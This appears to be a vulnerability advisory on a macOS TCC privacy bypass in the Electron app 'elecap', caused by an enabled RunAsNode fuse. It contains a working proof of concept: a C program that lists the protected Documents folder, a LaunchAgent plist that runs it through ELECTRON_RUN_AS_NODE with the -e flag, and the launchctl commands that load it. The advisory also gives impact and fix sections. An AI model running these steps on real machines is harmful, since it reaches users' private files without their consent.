Summary
The elecap app on macOS allows local unprivileged users to bypass macOS TCC privacy protections by enabling ELECTRON_RUN_AS_NODE. This environment variable allows arbitrary Node.js code to be executed via the -e flag, which runs inside the main Electron context, inheriting any previously granted TCC entitlements (such as access to Documents, Downloads, etc.).
Technical Details
The root cause is misconfigured Node Fuses and the application inherits elevated TCC permissions granted by the user, but lacks runtime safeguards to prevent arbitrary child process execution. Resulting in sandbox escape and unauthorized access to protected resources.
The misconfigured Node Fuses makes elecap vulnerable because it's possible to code injection. Check with the following command which fuses are enabled:
swayzgl1tzyyy@SwayZGl1tZyyys-Mac /tmp % npx @electron/fuses read --app /Applications/elecap.app
Analyzing app: elecap.app
Fuse Version: v1
RunAsNode is Enabled
EnableCookieEncryption is Disabled
EnableNodeOptionsEnvironmentVariable is Enabled
EnableNodeCliInspectArguments is Enabled
EnableEmbeddedAsarIntegrityValidation is Disabled
OnlyLoadAppFromAsar is Disabled
LoadBrowserProcessSpecificV8Snapshot is Disabled
GrantFileProtocolExtraPrivileges is Enabled
This shows elecap enables several high-risk Electron fuses, including RunAsNode, EnableNodeCliInspectArguments, and EnableNodeOptionsEnvironmentVariable. These fuses expose the application to code injection vectors.
Reproduce TCC Bypass via misconfigured Node fuse
Create a Proof-of-Concept program (tcc_bypass.c):
The following test program attempts to access the Documents folder, which is protected by TCC. The output of the command execution will be saved as /tmp/Documents.txt (with a .log file for debugging).
swayzgl1tzyyy@SwayZGl1tZyyys-Mac electroncapture % cat tcc_bypass.c
#include <stdio.h>
#include <stdlib.h>
int main() {
FILE *fp;
FILE *outputFile;
char path[1024];
// Log that the bypass program started (for debugging)
system("echo '[+] bypass started' > /tmp/bypass.log");
// Open output file to write the result
outputFile = fopen("/tmp/Documents.txt", "w");
if (outputFile == NULL) {
system("echo '[!] Failed to open /tmp/Documents.txt' >> /tmp/bypass.log");
return 1;
}
// Try to list the contents of the users TCC-protected Documents folder
fp = popen("ls -Ol /Users/swayzgl1tzyyy/Documents 2>&1", "r");
if (fp == NULL) {
fprintf(outputFile, "ERROR: popen failed\n");
fclose(outputFile);
return 1;
}
// Read the command output and write it into the file
while (fgets(path, sizeof(path), fp) != NULL) {
fprintf(outputFile, "%s", path);
}
// Clean up
pclose(fp);
fclose(outputFile);
return 0;
}
Compile the Proof-of-Concept with:
clang tcc_bypass.c -o tcc_bypass
chmod +x tcc_bypass
Note: when attempting to reproduce the vulnerability, make sure that Terminal does not have Full Disk Access in macOS settings. This ensures that access to TCC-protected folders like Documents or Downloads is correctly restricted, and helps demonstrate the actual bypass
When we try to read protected folders through the Terminal it will cause an error because the Terminal doesn't have Folder permissions. And with root privileges it's still not possible to access the Documents folder. This shows the initial security state by confirming it's not possible to access the Documents folder before exploitation.
In order to bypass this, create the LaunchAgent file com.electron.tcc.bypass.plist. With the following content:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.electron.tcc.bypass</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/elecap.app/Contents/MacOS/elecap</string>
<string>-e</string>
<string>require('child_process').exec('/Users/swayzgl1tzyyy/Desktop/Proof-of-Concepts/electroncapture/tcc_bypass')</string>
</array>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
</dict>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
Save the following file as: (if the LaunchAgents directory doesn't exist, create one mkdir -p ~/Library/LaunchAgents).
~/Library/LaunchAgents/com.electron.tcc.bypass.plist # file should be found here
Note: replace swayzgl1tzyyy with your actual macOS username and make sure the we set the right path to the actual location of your tcc_bypass binary on the system.
Then, use the launchctl utility to execute ~/Library/LaunchAgents/com.electron.tcc.bypass.plist which runs elecap as a daemon to avoid inheriting the parent process's sandbox profile.
launchctl unload ~/Library/LaunchAgents/com.electron.tcc.bypass.plist
launchctl load ~/Library/LaunchAgents/com.electron.tcc.bypass.plist
This triggers the tcc_bypass program as a child of elecap, inheriting its TCC access.
Check the output:
cat /tmp/bypass.log
cat /tmp/Documents.txt
Upon successful execution, /tmp/Documents.txt contains the contents of the protected folder, even though Terminal doesn’t have permission.
This proof-of-concept shows that by launching elecap in a specific way, arbitrary binaries can access TCC-protected data without any user consent or warning, which directly violates the intended macOS security model.
Impact
A TCC bypass is particularly useful in post-exploitation scenarios where an attacker already has code execution on the system but is limited by macOS privacy restrictions. For example, even if an attacker has root access, macOS still enforces TCC rules unless explicitly overridden. A successful bypass allows the attacker to:
- Code execution in the app’s security context
- Access to TCC-protected resources (e.g. personal folders (~/Downloads, ~/Documents etc.)
- Access to sensitive hardware (microphone camera) without user consent
This kind of bypass is often used in advanced threat scenarios or red team operations, where stealth and full access are critical. It allows attackers to escalate from a restricted execution context to full surveillance capabilities, often as part of persistence or lateral movement strategies.
Suggested Fix
This fuse controls whether the app respects the ELECTRON_RUN_AS_NODE environment variable. When enabled, it allows the app to run as a standalone Node.js binary, which is not sandboxed and inherits all macOS TCC permissions previously granted to the app.
According to Electron’s official documentation, these fuses are intended for development and debugging, and should be disabled in production environments. Leaving them enabled undermines key security features, such as hardened runtime and the deliberate exclusion of risky entitlements, and may introduce unnecessary attack surface.
- Disable the
runAsNode fuse within your Electron app, disabling this fuse prevents abuse of the -e flag and arbitrary Node.js execution.
References:
Summary
The
elecapapp on macOS allows local unprivileged users to bypass macOS TCC privacy protections by enablingELECTRON_RUN_AS_NODE. This environment variable allows arbitrary Node.js code to be executed via the-eflag, which runs inside the main Electron context, inheriting any previously granted TCC entitlements (such as access to Documents, Downloads, etc.).Technical Details
The root cause is
misconfigured Node Fusesand the application inherits elevated TCC permissions granted by the user, but lacks runtime safeguards to prevent arbitrary child process execution. Resulting in sandbox escape and unauthorized access to protected resources.The misconfigured Node Fuses makes elecap vulnerable because it's possible to code injection. Check with the following command which fuses are enabled:
swayzgl1tzyyy@SwayZGl1tZyyys-Mac /tmp % npx @electron/fuses read --app /Applications/elecap.app Analyzing app: elecap.app Fuse Version: v1 RunAsNode is Enabled EnableCookieEncryption is Disabled EnableNodeOptionsEnvironmentVariable is Enabled EnableNodeCliInspectArguments is Enabled EnableEmbeddedAsarIntegrityValidation is Disabled OnlyLoadAppFromAsar is Disabled LoadBrowserProcessSpecificV8Snapshot is Disabled GrantFileProtocolExtraPrivileges is EnabledThis shows elecap enables several high-risk Electron fuses, including
RunAsNode,EnableNodeCliInspectArguments, andEnableNodeOptionsEnvironmentVariable. These fuses expose the application to code injection vectors.Reproduce TCC Bypass via misconfigured Node fuse
Create a Proof-of-Concept program (
tcc_bypass.c):The following test program attempts to access the Documents folder, which is protected by TCC. The output of the command execution will be saved as
/tmp/Documents.txt(with a .log file for debugging).Compile the Proof-of-Concept with:
When we try to read protected folders through the
Terminalit will cause an error because theTerminaldoesn't have Folder permissions. And with root privileges it's still not possible to access the Documents folder. This shows the initial security state by confirming it's not possible to access the Documents folder before exploitation.In order to bypass this, create the LaunchAgent file
com.electron.tcc.bypass.plist. With the following content:Save the following file as: (if the
LaunchAgentsdirectory doesn't exist, create onemkdir -p ~/Library/LaunchAgents).Then, use the
launchctlutility to execute~/Library/LaunchAgents/com.electron.tcc.bypass.plistwhich runselecapas a daemon to avoid inheriting the parent process's sandbox profile.This triggers the
tcc_bypassprogram as a child of elecap, inheriting its TCC access.Check the output:
Upon successful execution,
/tmp/Documents.txtcontains the contents of the protected folder, even though Terminal doesn’t have permission.This proof-of-concept shows that by launching
elecapin a specific way, arbitrary binaries can access TCC-protected data without any user consent or warning, which directly violates the intended macOS security model.Impact
A TCC bypass is particularly useful in post-exploitation scenarios where an attacker already has code execution on the system but is limited by macOS privacy restrictions. For example, even if an attacker has root access, macOS still enforces TCC rules unless explicitly overridden. A successful bypass allows the attacker to:
This kind of bypass is often used in advanced threat scenarios or red team operations, where stealth and full access are critical. It allows attackers to escalate from a restricted execution context to full surveillance capabilities, often as part of persistence or lateral movement strategies.
Suggested Fix
This fuse controls whether the app respects the
ELECTRON_RUN_AS_NODEenvironment variable. When enabled, it allows the app to run as a standalone Node.js binary, which is not sandboxed and inherits all macOS TCC permissions previously granted to the app.According to Electron’s official documentation, these fuses are intended for development and debugging, and should be disabled in production environments. Leaving them enabled undermines key security features, such as hardened runtime and the deliberate exclusion of risky entitlements, and may introduce unnecessary attack surface.
runAsNodefuse within your Electron app, disabling this fuse prevents abuse of the-eflag and arbitrary Node.js execution.References: